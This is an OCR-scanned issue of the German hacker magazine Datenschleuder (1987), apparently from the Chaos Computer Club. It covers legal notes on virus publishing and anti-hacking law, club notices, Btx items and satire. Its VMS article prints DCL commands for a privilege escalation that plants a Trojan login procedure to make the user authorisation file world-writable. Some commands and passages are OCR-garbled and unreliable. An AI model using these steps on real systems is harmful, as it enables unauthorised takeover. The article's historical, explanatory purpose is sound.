grammierer strafbar machen. Z.B. nämlich wegen 

Anstiftung dann, wenn er (möglicherweise nur in 

versteckter Form) dem Abnehmer den Vorschlag 

gemacht hat, das Programm in strafbarer Weise 

einzusetzen. Oder wegen Beihilfe, wenn der Pro-

grammierer Anhaltspunkte dafür hatte, daß der Ab-

nehmer des Programms dies zu einer Straftat ein-

setzen würde. 

In diesen Fällen würde der Programmierer auch 

zivilrechtlich für den entstandenen Schaden (mit-

)haften. Und zwar in voller Höhe! 
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4. Veröffentlichung von Virusprogrammen Real Programmers don't use PASCAL 

Auch die Veröffentlichung von Virusprogrammen, 

z.B. in Mailboxen oder Zeitschriften, ist ebenfalls 

grundsätzlich unbedenklich möglich. Aber auch hier 

ist dennoch Vorsicht geboten! Wenn mit der Ver-

öffentlichung die (evtl. nur versteckte) Aufforde-

rung verbunden wird, den Virus in strafbarer Weise 

einzusetzen, kommt eine Strafbarkeit wegen öf-

fentlicher Aufforderung zu Straftaten (111 StGB) in 

Betracht. Dies hätte auch zur Folge, daß zivilrecht-

lich für einen entstandenen Schaden mitgehaftet 

würde. Weiter kommt unter bestimmten Umständen 

eine Haftung auf Schadensersatz auch dann in Be-

tracht, wenn der Empfänger des Virusprogramms 

sich aufgrund unterbliebener oder unzureichender 

Aufklärung, durch unsachgemäße Handhabung des 

Virusprogramms, selbst schädigt. 

Ich empfehle daher bei einer Veröffentlichung von 

Virusprogrammen folgende Vorsichtsmaßnahmen 

unbedingt zu beachten: 

a) Alles vermeiden, was darauf hindeuten könnte, 

daß in der Veröffentlichung des Programms eine 

Aufforderung zu dessen strafbarem Einsatz liegt. 

b) Unbedingt deutlich und unmißverständlich auf 

die Gefährlichkeit des Programms hinweisen und 

mitteilen, wie der Anwender mit dem Programm 

umzugehen hat, um eine Selbstschädigung oder 

Schädigung Dritter zu vermeiden. 

St. Ackermann, Hamburg 

Teil I I 

W o lebt der typische Richtige Programmierer? Was 

für eine Art von Programmen sind solcher talen-

tierter Individuen würdig? Man kann sicher sein, daß 

sich kein Richtiger Programmierer totschreibt an 

einem Programm für Konto-Außenstände in CO-

BOL, oder einem Maillist-Sortierprogramm für das 

'People'-Magazin. Ein Richtiger Programmierer 

braucht Arbeiten von erderschütternder Wichtig-

keit. 

Richtige Programmierer arbeiten für das Los Ala-

mos National Laboratory und schreiben 

Atombomben-Simulationen, die auf Cray I-

Supercomputem laufen. Sie arbeiten auch für die 

National Security Agency und decodieren russische 

Funksprüche. 

Es war eine großartige Belohnung für die Anstren-

gungen tausender Richtiger Programmierer bei der 

NASA, daß unsere Jungs vor den Kosmonauten auf 

den Mond und wieder zurück gekommen sind. Die 

Computer im Space Shuttle sind von Richtigen Pro-

grammierern programmiert, und diese wahren Profis 

sind auch bei Boeing an der Arbeit, um Steue-

rungssysteme für Cruise Missiles zu entwerfen. 

Einge der ehrfurchtgebietendsten Richtigen Pro-

grammierer arbeiten im Jet Propulsion Laboratory in 

Kalifornien. Viele von ihnen kennen das gesamte 

Betriebssystem der Pioneer- und Voyager-Sonden 

wie ihre Westentasche. Mit einer Kombination von 

großen, in der Bodenstation verfügbaren 

FORTRAN-Programmen und kleinen, in den Rech-

nern der Sonden untergebrachten Assembler-

Programmen können sie unglaubliche Künststücke 

an Navigation und Improvisation vollbringen - wie 

etwa nach sechs Jahren im All zehn Kilometer große 

'Fenster' am Saturn zu treffen, oder beschädigte 

Sensor-Plattformen, Funkgeräte oder Batterien zu 

reparieren oder zu überbrücken. Einer der Richtigen 

Programmierer brachte es fertig, ein Bildverarbei-

tungsprogramm in einige hundert Bytes unbenutzten 

Speichers in einer der Voyager-Sonden zu quet-

schen, das anschließend einen neuen Jupitermond 

suchte, lokalisierte und fotografierte. 
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Mitgliedschaft im CCC: 

W i r tragen Euch erst dann in die Liste ein, wenn die 

Aufnahmegebühr und der Beitrag für mindestens ein 

Vierteljahr entrichtet ist. Wir verschicken im all-

gemeinen keine Bestätigung der Mitgliedschaft. Die 

erfolgte Eintragung erkennt ihr am Aufkleber Eurer 

DS: Wenn da als letzte Zahl 999 steht, bekommt ihr 

das Ding im Rahmen der Mitgliedschaft oder eines 

Austauschabos. Wir gehen davon aus, daS unsere 

Mitglieder an ihrem Wohnort selbst aktiv werden 

und stehen persönlich und telefonisch gerne zur 

Verfügung, wenns um chaotypische Veranstaltun-

gen geht. Schriftlich wäre das alles zuviel Aufwand. 

Mailboxnutzung: 

Wenn auf dem Bestellfetzen ein Benutzemame und 

ein Passwort genannt ist und die Verwaltungsgebühr 

für die Eintragung bezahlt ist, wird der Teilnehmer 

in der IFX1 oder CL INCH , je nach Wunsch, ein-

getragen. Es erfolgt keine weitere Rückmeldung 

über den Eintrag in die Box. Probiert halt, ob der 

Account steht oder nicht. Bei Infex läuft der Zähler 

ab Eintragung ins System, bei CL INCH wird ab 

I Zahlung der Monatsgebühren gerechnet. Infex rech: 

nen wir über den CCC ab, CL INCH rechnet der 

Betreiber (also auch wieder ich) direkt ab. Für Zwei-

felsfalle hat der Herr Reis das Telefon erfunden... 

Sonstige Bestellungen 

Volkszählungsdemos gibts von uns nicht mehr, 

mangels Autorisierung. Wer noch 'ne Bestellung 

offenhat und glaubhaft machen kann (Belege), daß 

wir trotzdem kassiert haben, kriegt seine Kohle post-

wendend wieder. 

D ie Virendemos werden Zug um Zug ausgeliefert, 

sobald die Disks kopiert sind. W i r haben schlicht und 

ergreifend nicht mit derart vielen Bestellungen ge-

rechnet. So habet bitte Geduld ächz. 

Leuten zu führen, mit denen wir nichts zu tun haben 

wollen. Dazu gehören die notorischen Einschreiber 

und ähnlich nervtötende Spezies, weil wir einfach 

nicht dauernd zur Post rennen wollen, um irgend-

einen Schmachtfetzen abzuholen, der eh irrelevant 

ist. Sowas ignorieren wir nach dem biblischen Motto 

'Auge um Auge...'. Wir verschicken schließlich 

auch keine Einschreiben. 

Achja, Schecks: W i r reichen Schecks in dem Au-

genblick zur Gutschrift ein, wo wir mehr als die 

Hälfte der Bestellung erledigt haben. Beispiel: Je-

mand wird Mitglied, bestellt die Virendisk und legt 

einen Scheck über 165.00 D M bei. W i r tragen ihn in 

die Mitgliederliste ein und er kriegt ab sofort die DS 

mit der 999 im Aufkleber. Die Virendisk kriegt er 

wahrscheinlich erst in zwei Monaten, die aktuelle 

DS etwas früher. Wenn wir jetzt warten würden, bis 

er sowohl die Disk, als auch die erste DS gekriegt hat, 

wäre der Scheck wahrscheinlich gar nicht mehr ein-

ziehbar. Folglich ziehen wir ihn in dem Augenblick 

ein, in dem die Daten in der Mitgliederdatei gelandet 

sind. 

Reklamationen: 

Es bleibt nicht aus, daß mal etwas bei uns unter den 

Tisch fällt. Das sollte aber für den Chaos-Kunden 

kein Grund sein, gleich mit Anwaltsdrohungen um 

sich zu werfen. W i r halten uns für ziemlich fair, was 

das Erledigen von Bestellungen angeht, und er-

warten dafür ein Mindestmaß an Toleranz von den 

Bestellern. Zu kurz gekommen ist noch niemand, 

auch wenns mal etwas dauert. Ein kurzer Anruf in der 

Geschäftsstelle bewirkt oft mehr als mancher Droh-

brief. Mögl iche Anlaufstellen für Reklamationen 

sind: 

- Telefonisch: 040-4903757 (der Anschluß ist aber 

nicht kontinuierlich besetzt). 

- Blödeltext: 0404903757-0008 bei Abofragen/-

Mailboxnutzung, sonst über normale Mitteilungs-

seite an das Servicecenter. 

- Mailbox: GeoNet: G E O l :CHAOS-TEAM oder 

I FX I ¡CLINCH. CL INCH: SYSOP. 

Generell gilt: Lieferzeiten von 'nem Vierteljahr sind Wichtig ist, daß angegeben wird, was wann bestellt 

bei uns leider keine Seltenheit. Aber bisher hat noch wurde und was davon eventuell schon geliefert wur-

jeder das gekriegt, was wir liefern können, bzw. es de. 

gibt das Geld zurück. A u f Mahnungen und Dro-

hungen mit dem Anwalt reagieren wir sauer. Es gibt 

mittlerweile Überlegungen, eine schwarze Liste von verwal21.ds 198706032100 gobiin 
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Grummel Geld per Fingerabdruck 

Denkvorgänge made in Germany-

Anlass zum Schreiben dieses Artikel war für mich 

die Situation an einer Ampel. 

Die Ampel verwaltete gerade noch ca. 1.50 m 

Fussgängerweg. Das ist in Anbetracht der Tatsache, 

daß da eine Baustelle war, nichts wunderliches. 

Nachdenklich gemacht haben mich erst jene Leute, 

die 2 Minuten warten, bis sie die 2 Schritte mit 

offizieller Genehmigung (=grün) zurücklegen. Das 

Denken wird also der Ampel überlassen (künstliche 

Intelligenz?). 

Die Ursachen für solche Alltagskrankheiten im 

20ten Jahrhundert sind nicht zuletzt in der Taktik des 

Staatsapparates Indula zu sehen. Die Werbung zur 

Volkszählung beispielsweise suggeriert, daß man 

sich auf die Regierung, ihre Gesetzgebungen und 

Beschlüsse verlassen und sein Hirn beruhigt an der 

Garderobe abgeben kann könne. Denken tun die 

Profis "da oben". 

Diese Grenze zwischen "denen da oben" und "uns da 

unten" wird durch die Art und Weise stark gefördert, 

in der die Medien Wirklichkeit erzeugen. Siehe unter 

anderem die Berichterstattung über das englische 

Königshaus (Bla, Dröhn), oder nicht zuletzt das 

künstliche Hoch"spielen" des sportlichen Berei-

ches. Es gibt ja wirklich nichts wichtigeres auf Erden , 

als Tennis, vor allem, wenn man sich in einer be-

sonders sozialen Gesellschaft befindet, dieüber zwei 1 

Millionen Arbeitslose zu verbuchen hat und die , 

Automation (siehe Ampel) weiterhin stark fördert 1 

(so daß praktisch jeder ebenfalls morgen auf der ] 

Straße stehen könnte). 

Der ungeschriebene Regierungsgrundsatz "alle sind j 

gleich, nur manche sind gleicher", wird inzwischen , 

ganz selbstverständlich akzeptiert. Es ist einfach ' 

eine Selbstverständlichkeit geworden, daß jemand, ] 

der auf einer Demo in eine Polizeikontrolle geräl, 

anders behandelt wird, als einer, der sich in der Nähe ' 

eines grade stattgefundenen Bankraubs befindet. 

In diesem Sinne stellt Hacken (für mich) geistiges 

Überlebenstraining dar; außerdem das sinnvolle 

Nutzen neuer Technologien. Wie war das noch: 

Verzeih ihnen, denn sie wissen nicht, was sie tun... 

Wohl eher: You are what what you do, you are what 

you think, help yourself! 

Andy 

8706181935 M D M I G D 2 1 . D O C A N D Y 

Berichtete die Hamburger Morgenpost (30.5.87) da-

von, daß es nun endlich einen EC-Karten-Notruf in 

Frankfurt gibt (069/747700; Bank, BLZ, Konto-Nr., 

Kartennummer und Verfalldatum müssen genannt 

werden), so ist man in Amerika schon weiter. Dort 

wird ein Gerät produziert, das erst nach positivem 

Fingerabdruck-Vergleich Geld rausrückt. Der Kund 

steckt einen Finger in den Geldautomaten, dieser 

schickt das Abdruckbild an die Zentrale und be-

kommt Antwort. 

(aus Capital, Juni 87) 
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Die Erhebung von Gebühren für das Löschen von 

Btx-Seiten grenzt nahezu an Betrug. Hinzu kommt, 

daß die Post es bisher nicht für nötig hielt, in ihren 

Gebührenübersichten (auch dem Anbieterhand-

buch) auf diesen Umstand hinzuweisen. Denken Sie 

alsodaran, wenn ihnen die Umgangsformen der Post 

zum Hals raushängen und ihnen die Lust an der 

Teilnahme am Btx-Dienst vergangen ist, überlassen 

Sie das Löschen Ihres Angebotes der Post; das ist 

preiswerter! 

Btx-Red - LS23 

PAHHUI 
Die Hacker Charts (II) 

1 Zero Leander 
K A N N DENN H A C K E N SÜNDE SEIN 

2 Freddy Qui t 
E IN SHIFT W I R D K O M M E N 

3 K r a f t w e r k 
DAS M O D E M 

4 Nena 
99 TELEFONS 

5 Ma r i a n ne Rosenberg 

NU I D U A L L E I N 

6 He in t je 
S Y S O P SO L IEB 

7 M a n u e l a 
S C H U L D W A R N U R D E R DATENTRÄGER 

8 Datennetz -Kontro l lchor 
der Deutschen Bundespost 
H O C H A U F D E M G E L B E N H Ö R N C H E N 

9 Geier Abs turz 
D I E I N T E R D A T I O N A L E 

A Peter A lexander 
H I E R C R A C K T E IN M E N S C H 

LS blofeld 
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Bildschirmtext, 
jetzt mit *CHAOS* 

Z u m 25./26. Juli '87 änderte die Post die Sy-
stemsoftware des Bildschirmtext Rechnerkübels. 
Neue Systemmerkmale bringen mehr komfort . 
Entscheiden! dürfte das neue Leistungsmerkmal 
der 'Alphanumerischen Suche' sein. 

So ist es mit * Anbietername,, (Z.B. *CHAOS„) 

möglich einen Suchaufcrag im Anbieterverzeichnis 

zu starten. Folgend wird, bei mehreren Angeboten 

(z.B. *Club„) eine Liste ausgegeben, bei nur einem 

Anbieter (wer hat sonst noch CHAOS im Namen) 

das Programm direkt aufgerufen. 

Die Btx-Redaktion des C C C läßt dementsprechend 

neue Suchbegriffe in das Anbieterverzeichnis ein-

tragen (femmündlich genehmigt). Neben der Suche 

nach Abkürzungen wie " C C C BHP CAC IPN bka" 

erscheint die Übersicht des C C C auch bei dem Such-

begriff HILFE, Nach langen Mühen mit den zu-

ständigen Verwaltungsstellen der Post gelang sogar 

der Eintrag POST. Schon im Schlagwortverzeichnis 

war der C C C unter dem Begriff POST zu finden. 

Auch zukünftigerscheintderName des Clubs neben 

denen der Postdienststellen. Ein sichtbares Zeichen 

der Ausgewogenheit im Bildschirmtextsystem. 

LS23 

art wo? 

Und wo bitteschön ist die Kunst? Eben nicht auf der 

Dokumenta, und eben auch nicht in den vielge-

rühmten 120 weissen q m Bus von -Dt. Schade. 

Ärgerlich aber: Was treibt den C C C in die Niede-

rungen der Kasperltheater-Wirklichkeit einer Do-

kumenta? D IE Wirklichkeit braucht -Dt, um ihre 

Kunst als "Nase im Wind" und "Zukunftstechno-

logie" erscheinen zu lassen; aber was macht ein 

echtes Hackerteam in IHR? 

Darüber demnächst mehr, was ich an dieser Stelle 

auch nur angekündigt haben wollte, und verab-

schiede mich für heute, nach China. 

Marina Kern 

Ä Marina bringt uns ein chinesisches Telefonbuch 

aus Peking mit; Anm.d.Red Ü 
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Stiftung Datentest 

Softwaredecoder fuer PCs 

Die Datenschleuder hat es schon vor Jahren pro-
phezeit: mittlerweile gibtes eine ganze Reihe von 
Anbietern, die Softwarelösungen für 
Bildschirmtext-Anwendungen vorweisen kön-
nen. Eines dieser Produkte nennt sich B T X - T e r m 
P C und wi rd von der F i rma Stockem Compu-
tertechnik, Lange Wende 33, in 4770 Soest, an-
geboten. 

Für deutlich unter 300 D M erhält man einen D IN 

A5-Ringordner mit der Anleitung und zwei Dis-

ketten mit Installations- und Treiberroutinen, sowie 

dem eigentlichen Softwaredecoder. Außerdem wird 

ein spezielles, umschaltbares Serialkabel mitgelie-

fert, das bei 50 % der Käufer Anlaß zur Erheiterung 

geben dürfte. Dazu später mehr. 

Es ist gewiß keine leichte Aufgabe, einen Softwa-

redecoder für Bildschirmtext zu entwickeln. Dafür 

sorgt schon der merkwürdige Pseudostandard, den 

sich die Post für die langsame Übertragung bunter 

Bildchen hat einfallen lassen. Entsprechend schwer 

haben sich die Porgrammierer lange Zeit getan. Das 

Unterfangen wird noch dadurch erschwert, daß es 

zwar einen Industriestandard für Personalcomputer 

gibt, dieser aber spätestens dann peinlich wird, wenn 

eben die bunten BTX-Bildchen dargestellt werden 

sollen. 

Stockem hat, nach anfänglichen Schwierigkeiten, 

den Großteil dieser Probleme geläst. BTX-Term PC 

unterstützt alle gängigen Grafikkarten und holt her-

aus, was herauszuholen ist. Unser Testrechner war 

ein Billigst-PC, made in Eile, mit Hercules-Graftk 

und V20-Chip. Dadurch waren die Probleme vor-

programmiert. Um den Test noch weiter zu er-

schweren, wurde ein Postmodem D 1200S-06 be-

nutzt, dadamit die größten Schwierigkeiten im prak-

tischen Betrieb garantiert sind. Alternativ wurde ein 

Datenföhn S21/23D bereitgehalten, da klar war, daß 

es mit einem Postmodem so einfach nicht gehen 

würde. 

Wie unschwer zu ahnen ist, haben wir schlußendlich 

auch letzteren benutzt. Es kam uns zunächst darauf 

an, zu erfahren, wie die Software mit BTX umgeht 

und was man für Vorteile hat, wenn man sie statt 

eines TV-Decoders einsetzt. Beim Testrechner war 

Farbe nicht drin, umsomehr galt das Augenmerk der 
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Ersatzdarstellung auf dem HerculesScreen, der im-

merhin die BTX-Auflösung locker schafft. Der 

Stockem-Decoder bewältigt die Aufgabe ganz gut, 

bis auf ein gelegentliches unmotiviertes Setzen des 

Invers-Attributs. Der Verdacht, daß dies sogar be-

absichtigt ist, drängt sich angesichts der'Regelmä-

ßigkeit des Fehlers auf, ein Sinn kann jedoch nicht 

gefunden werden. Da es den meisten Anwendern 

weniger auf die Grafik, als auf einen sauberen Text-

aufbau ankommen dürfte, kann man dieses Manko 

getrost vergessen. 

Als Ausgleich bietet das Programm die Möglichkeit, 

die dargestellten Seiten sowohl als reine ASCII-

Datei, als auch als Grafik abzuspeichern und aus-

zudrucken. Umgekehrt kann man beliebige extern 

erstellte Texte an das BTX-System senden, der 

Nachrichtenaustausch wird also auf Techniken er-

weitert, die man von anderen Medien wie Mailboxen 

schon kennt und schätzt. Darüberhinaus bietet das 

Programm die Möglichkeit, in einem 'Learn'- Mo-

dus festgelegte Befehlsfolgen abzurufen. Man kann 

so z.B. den Ausdruck seines Kontoslandes auto-

matisieren, wenn man BTX-Kontenführung macht. 

Darüberhinaus gibt es noch einigen Schnick-

schnack, der weniger interessant ist, vielleicht mit 

Ausnahme der Möglichkeit, resident ins DOS zu 

gehen, ohne daß derBTX-Dialog abgebrochen wird. 

Leider funktioniert das ganze nicht so weit, daß man 

im DOS einen Text editieren und gleichzeitig den 

Kontostand abfragen kann, aber solche Probleme 

löst man ohnehin besser mit entsprechenden Be-

triebssystemen. 

Den größten Minuspunkt erhält das Programm für 

den Kopierschutz, der einfach nicht mehr zeitgemäß 

ist. Dieser verbirgt sich als Hardwarezusatz in der 

unvollständig konfigurierten und viel zu kurzen Se-

rialleitung, die mitgeliefert wird. Das mutet eher 

rührend an, denn welche Möglichkeiten gibt es 

schon, ohne Beeinträchtigung der Funktion am Se-

rialport zu manipulieren, wenn man ohnehin schon 

einiges verbiegen muss, um die 1200/75 Baud zu 

realisieren, und nur eine beschränkte Zahl von Ein-

Ausgabeleitungen hat. 

gobiin 

btxter22.ds 19870630 2200 

PS: Ein Hinweis nach Redaktionsschluß: Commo-

dore will zur IFA 10.000 BTX-Steckmodule (In-

nenleben von Siemens) für unter 400 D M anbieten. 

Das sagte Commodore allerdings auch schon auf der 

letzten IFA. 
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Bits, Bugs & Vaxen « 

Erwartungsgemäß soll jede A r t von Software, 
insbesondere das Betriebssystem einer Reche-
nanlage, dem Anwender einen fehlerfreien und 
sicheren Betrieb des Computersystems garan-
tieren. Die Systementwickler entwerfen Pro-
gramme, ohne auch nur i m geringsten zu er-
warten, daß sie au f Anhieb korrekt sein werden. 
Programmierer verbringen mindestens genau so-
viel Zeit damit, ihre Software zu testen und even-
tuellen Fehlern entgegenzuwirken. 

Was das im einzelnen für Bugs, also Fehler sind, ist 

schwer zu sagen. Manche sind sicher harmlos, an-

dere möglicherweise kritisch und führen zum ge-

fürchteten Systemcrash. Programmierfehler sind 

nun einmal unvermeidbar, und manchmal auch ein-

fach unauffindbar. 

Wer dennoch glaubt, daß Software Engineering pri-

mitiv ist und Fehler grundsätzlich vermieden werden 

können, der hat noch keine größeren Probleme in 

algorithmischer Form in Angriff genommen. Die 

großen Systemhersteller beschäftigen Spezialisten 

ausschließlich für die Qualitätssicherung ihrer Soft-

wareprodukte. Denn sie wissen, daß Programmierer 

eigene Fehler am schwersten finden oder diese gar 

mit Absicht einbauen können. 

Software wird nicht erst dann zur Benutzung frei-

gegeben, wenn sie nachweisbar korrekt funktioniert, 

sondern bereits dann, wenn die Häufigkeit, mit der 

neue Fehler entdeckt werden, auf ein für die Ge-

schäftsleitung akzeptables Niveau gesunken ist. An-

4 

wender müssen lernen, Fehler und deren Konse-

quenzen zu erwarten. Ihnen wird gerade von den 

Hackern häufig erklärt, wie sie bis zur Verbesserung 

der Software die Fehler umgehen können. 

Gerade die VAX-Systeme und ihr Betriebssystem 

VMS von D E C setzen sich aus einfach zu verste-

henden und strukturiert aufgebauten Software-

Modulen zusammen. VMS gilt bei den Hackern 

nicht zu Unrecht als eines von der Qualität und 

Systemsicherheit meistgeschätztesten Betriebssy-

steme der Welt. Doch auch in dem so ausgeklügelten 

V M S werden immer wieder Bugs entdeckt, die sich 

als echte Sicherheitslöcher des Betriebssystems er-

weisen. 

Ziel eines auf Datenreise befindlichen VAX-

Tüftlers ist bekannterweise nicht nur das Eindringen 

in VAXen, sondern diese auch unter Kontrolle zu 

bekommen. Um sich nun nach einem Eindringen in 

ein VAX-System die nötigen SYSTEM-Privilegien 

zu verschaffen, sucht der geschickte und erfahrene 

Hackererst einmal nach dem SESAM ÖFFNE DICH 

des Betriebssystems. Erst wenn dieser gefunden ist 

und das Reich der Privilegien erschlossen wurde, gilt 

eine V A X unter Hackern als geknackt bzw. offen. 

Einige dieser SESAM ÖFFNE DICH-VAX-

Verfahren gingen in die Geschichte ein. Des Hackers 

wahre Freude ist die Vielzahl und Reichhaltigkeit 

dieser Verfahren, um rasch als unpriviligierter User 

den Status des SYSTEM-Managers einzunehmen. 

( ^ f % > i c SnfciiiWjIrukcr 

Die Geschichte vom Trojanischen DCL Pferd (Di-

gital Command Language) in VMS V4.2 bietet be-

sonderen Anlaß zur Aufmerksamkeit. DEC bietet 

seit der VMS Generation 4.X ein neues SECURITY -

Utility an - die ACE's und ACL 's (Access Control 

Entries/Lists). 

Ein ACL bietet dem SYSTEM Manager die Mög-

lichkeit, auf bestimmte Objekte, wie etwa Dateien 

und Peripherie, nichtprivilegienen Usern Rechte zu 

gewähren oder eben auch zu verwehren. Seit VMS 

V4.2 ist nun neu, daß ACLs auch auf I .OGICALs 

setzbar sind. Da im Prinzip jeder User ACLs ver-

wenden darf, stellte sich die Frage, ob eben diese 

auch auf Objekte setzbar wären, deren Berührung 

normalerweise SYSTEM-Privilegien erforderte. 

Die Softwareanalytiker bei DEC unterließen in 

VMS V4.2 die Prüfung auf das für eine Modifizie-

rung der SYSTEM-Tabelle erforderliche 

SYSNAM-Privileg. Dieses ermöglicht nun einem 

nichtpriviligierten User, die SYSTEM Tabelle mit 

einem ACL zu versehen, der äquivalent mit dem 

SYSNAM-Privileg sämtliche Rechte auf die SY-

STEM Tabelle gewährt. 

$ SET ACL/OBJECT=LOGICAL/ACL=(ID=*-

,ACCESS=R+W+E+D+C) 

- LNMSSYSTEM-TABLE 

$ SET ACL/OBJECT=LOGICALMCL=(ID=*-

,ACCESS=R+W+E+D+C) 

- LNMSS YSTEM-DIRECTORY 

Diese beiden DCL-Zeilen bieten mit der ID=* jedem 

User einer 4.2er V A X die Rechte R=read, W=write, 

E=execute, D=delete und C=control auf die 

SYSTEM-Tabelle. Dieser Bug birgt weiterhin das 

Risiko eines Systemcrashs, falls ein Unerfahrener 

alle in der SYSTEM-Tabelle befindlichen LOGI-

CALs löscht. Das SYSNAM-Privileg und somit 

auch dieser ACL zählen zur Gruppe der SYSTEM-

Privilegien, doch dies bedeutet noch lange nicht, alle 

Privilegien einer V A X zu besitzen. 

Der Hacker bedient sich des Trojanischen Pferdes, 

indem er die Möglichkeit nutzt, fremde LOGICALs 

in die SYSTEM-Tabelle einzutragen. Jeder einlog-

gende User durchläuft eine ihm zugewiesene login-

Prozedur. Weist man dieser Prozedur einen 

LOGICAL-Namen zu, so wird VMS erst dem LO-

G ICAL folgen und nicht erst die Prozedur namens 

LOG IN .COM starten. Im User Authorization File 

(UAF) wird für jeden User diese login-Prozedur als 

L G I C M D definiert. Im Grundzustand verwendet 

Satcncri/knbce 

DEC besagtes LOGIN , falls im UAF bei L G I C M D 

keine andere Prozedur definiert wurde. 

$ DEFINE/SYSTEM LOGIN DISK:ÄDIRECTO-

RYÜTROJANHORSE .COM 

Das vom LOG ICAL LOGIN aufgerufene Trojani-

sche D C L Pferd prüft die Privilegien jedes einlog-

genden Users und läßt die VAX vom eigenen SY-

STEM Manager persönlich sprengen. Als DCL Pro-

zedur bietet sich förmlich an: 

$ IF F$PRIV1LEGE("SETPRV") .EQS. "FALSE" 

THEN GOTO NIX 

$ SET PROCESS/PRIV ILEGE=ALL 

$ SET PR0TECT10N=(W:RWED) SYSSSY-

STEM:S YSUAF.DAT 

$ DELETE ' F$LOG ICAL("LOG IN") 

$ DEASSIGN/SYSTEM LOGIN 

$ NIX: 

$ §SYS$LOGIN:LOGIN .COM 

Es darf nicht vergessen werden, dieses File auch für 

die Benutzung durch World User freizugeben. Der 

erste einloggende privilegierte Userwird unbemerkt 

dem Hacker die Kontrolle über das SYSTEM an-

vertrauen. Der Hacker braucht nur noch mittels des 

UAF-Programms und eventueller Umgehung von 

möglichen Security-Maßnahmen seitens des 

SYSTEM-Managers seinem eigenen Account alle 

Privilegien zu geben. SYSTEM-Manageroder Hac-

ker können natürlich ebenso durch einen ACL die 

Modifizierbarkeit der SYSTEM-Tabelle verhin-

dern. 

$ SET ACL/OBJECT=LOGICAL/ACL=(ID=*-

,ACCESS=R+E) 

- LNMSSYSTEM-TABLE 

$ SET ACL/OBJECT=LOGICAL/ACL=(ID=*-

,ACCESS=R+E) 

- LNMSS YSTEM-D IRECTORY 

Diese Methode wurde bereits in der amerikanischen 

DECUS Pagewapper Anfang letzen Jahres disku-

tiert. DEC reagierte damals mit einem VMS-Update 

auf V4.3, womit dieser DCL-Bug verschwand. Er-

staunlicherweise existieren am internationalen Da-

tennetz immer noch Maschinen mit der 4.2er 

Betriebssystem-Version. Kaum zu glauben, daß dort 

noch nicht einmal der Bug bekannt zu sein scheint. 

S.Stahl 
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Die aktuellen Tarife für's Hacken 

I . T e i l - - - - - - - - - - - - - - - - - -

Jede Freizeitbeschäftigung hat ihren Preis. Z u 
den exclusiven, superteuren Hobbies würde ich 
das Hacken zählen. Nicht wegen der wuche-
rähnl ichen Gebühren der Post. So ärgerlich die 
auch sein mögen, das allein wäre noch erträglich. 
Gemeint sind die aktuellen "Tar i fe" , die ein Hac-
ker zu "bezahlen" hat, wenn er sich erwischen 
läßt. Der N A S A - H a c k , der wieder viele unbe-
dar f te Nachahmer motivieren dürfte, sowie die 
die jüngsten Hausdurchsuchungen beim C C C -
Steffen und W a u - wegen angeblicher Haeks bei 
C E R N (Schweiz) und Philips (Frankreich) sind 
ein guter An laß , die Tar i fs t ruktur durchschau-
bar zu machen. 

Mit Wirkung vom 1.8.1986 sind die in der Presse 

sogenannten Anti-Hacker-Gesetze in Kraft getreten. 

Korrekt geht es um das zweite Gesetz zur Be-

kämpfung von Wirtschaftskriminalität (2. W iKG) . 

Nachfolgend wollen wir einmal betrachten, was die-

se Gesetze dem Hacker so zu bieten haben. 

Für den preiswerten Einstieg (bis zu 2 Jahren Frei-

heitsstrafe oder Geldstrafe) wäre zunächst der neue 

Ü 202a StGB zu nennen. Besonderer Vorteil: Je-

derzeit problemlos zu buchen! In Ü 202a StGB wird 

das "Ausspähen von Daten" unter Strafe gestellt. 

Strafbar macht sich, "wer unbefugt Daten, die nicht 

für ihn bestimmt und gegen unberechtigten Zugang 

besonders gesichert sind, sich oder einem anderen 

verschafft". 

B 

Es müssen also Daten sein, die nicht für einen be-

stimmt sind und für die man keine Zugangsberech-

tigung hat. Soweit, so gut. Es muß sich also um Daten 

handeln, die "besonders gesichert" sind, welche man 

sich oder einen anderen "verschafft". Was aber ist 

unter "besonders gesichert" und "verschaffen" i.S.d. 

Ü 202a StGB zu verstehen? 

Fraglich ist vor allem, ob schon ein einfacher und 

normaler Paßwortschutz die Daten besonders si-

chert. Da es kaum einen simpleren und primitiveren 

Schutz von Daten gibt als eine Paßwortabfrage, kann 

man also wohl kaum von einer besonderen Siche-

rung sprechen. 

Andererseits ist ein Paßwort die derzeit technisch 

unkomplizierteste, wirtschaftlich vertretbarste und 

zugleich auch praktisch sinnvollste Schutzmaß-

nahme. Außerdem hat der Besitzer der Daten durch 

einen Paßwortschutz hinreichend deutlich gemacht, 

daß diese Daten nur befugten Personen zur Verfü-

gung stehen sollen, und daß er sich um die Abwehr 

von Unbefugten emsthaft bemüht. Damit sind die 

Voraussetzungen erfüllt, die der Gesetzgeber erfüllt 

wissen wollte, um einen strafrechtlichen Schutz von 

Daten zu gewähren. 

Gerichtsentscheidungen sind, soweit mir bekannt, 

hierzu noch nicht ergangen. Die soeben ausgeführte 

Argumentation halte ich für richtig, und sie ist im 

juristischen Schriftum inzwischen vorherrschend. 

Von daher ist davon auszugehen, daß eine Straf-

barkeit wegen Ausspähens von Daten schon dann in 

Betracht kommt, wenn die Daten nur durch eine 

Paßwortabfrage gesichert sind. 

Damit sind wir bei dem Problem: Wann hat man sich 

(oder einem anderen) Daten "verschafft"? Zum 

einen, wenn man selbst von den Daten Kenntnis 

erlangt (also wenn man sie liest) bzw. einem anderen 

die Kenntnisnahme ermöglicht. Auch ohne Kennt-

nisnahme sind die Daten "verschafft", wenn man sie 

in Besitz nimmt. Das wäre der Fall, wenn die frem-

den Daten auf einem Datenträger mitgespeichert 

oder auf Papier ausgedruckt werden. 

Wer also den Paßwortschutz eines Systems knackt 

und sich dann in dem System umsieht, das heißt 

Daten liest oder downloaded, hat den Ü 202a StGB 

fest gebucht. Wer erwischt wird, könnte sich aller-

£><tieiiSrf|kui>cr 

dings darauf berufen, er habe nur das Paßwort ge-

knackt, sich dann aber sofort wieder ausgeloggt, 

ohne sich im System weiter umgesehen zu haben. 

Das ist zwar kaum wahrscheinlich, das Gegenteil 

dürfte aber nur schwer zu beweisen sein. 

Fraglich ist, ob diese Argumentation geeignet ist, 

einer Strafe wegen Ausspähens von Daten zu ent-

gehen. Immerhin ist das erhackte Paßwort auch ein 

Datum, was man sich verschafft hat. Und zwar eins, 

das besonders geschützt ist: Quasi durch das Paß-

wort selbst! Warten wir ab, wie die Gerichte ent-

scheiden werden. 

Festzuhalten bleibt, daß wer in eine durch Paßwor-

tabfrage gesicherte Mailbox, Datenbank oder ein 

sonstiges Rechnersystem (vorsätzlich) unbefugtein-

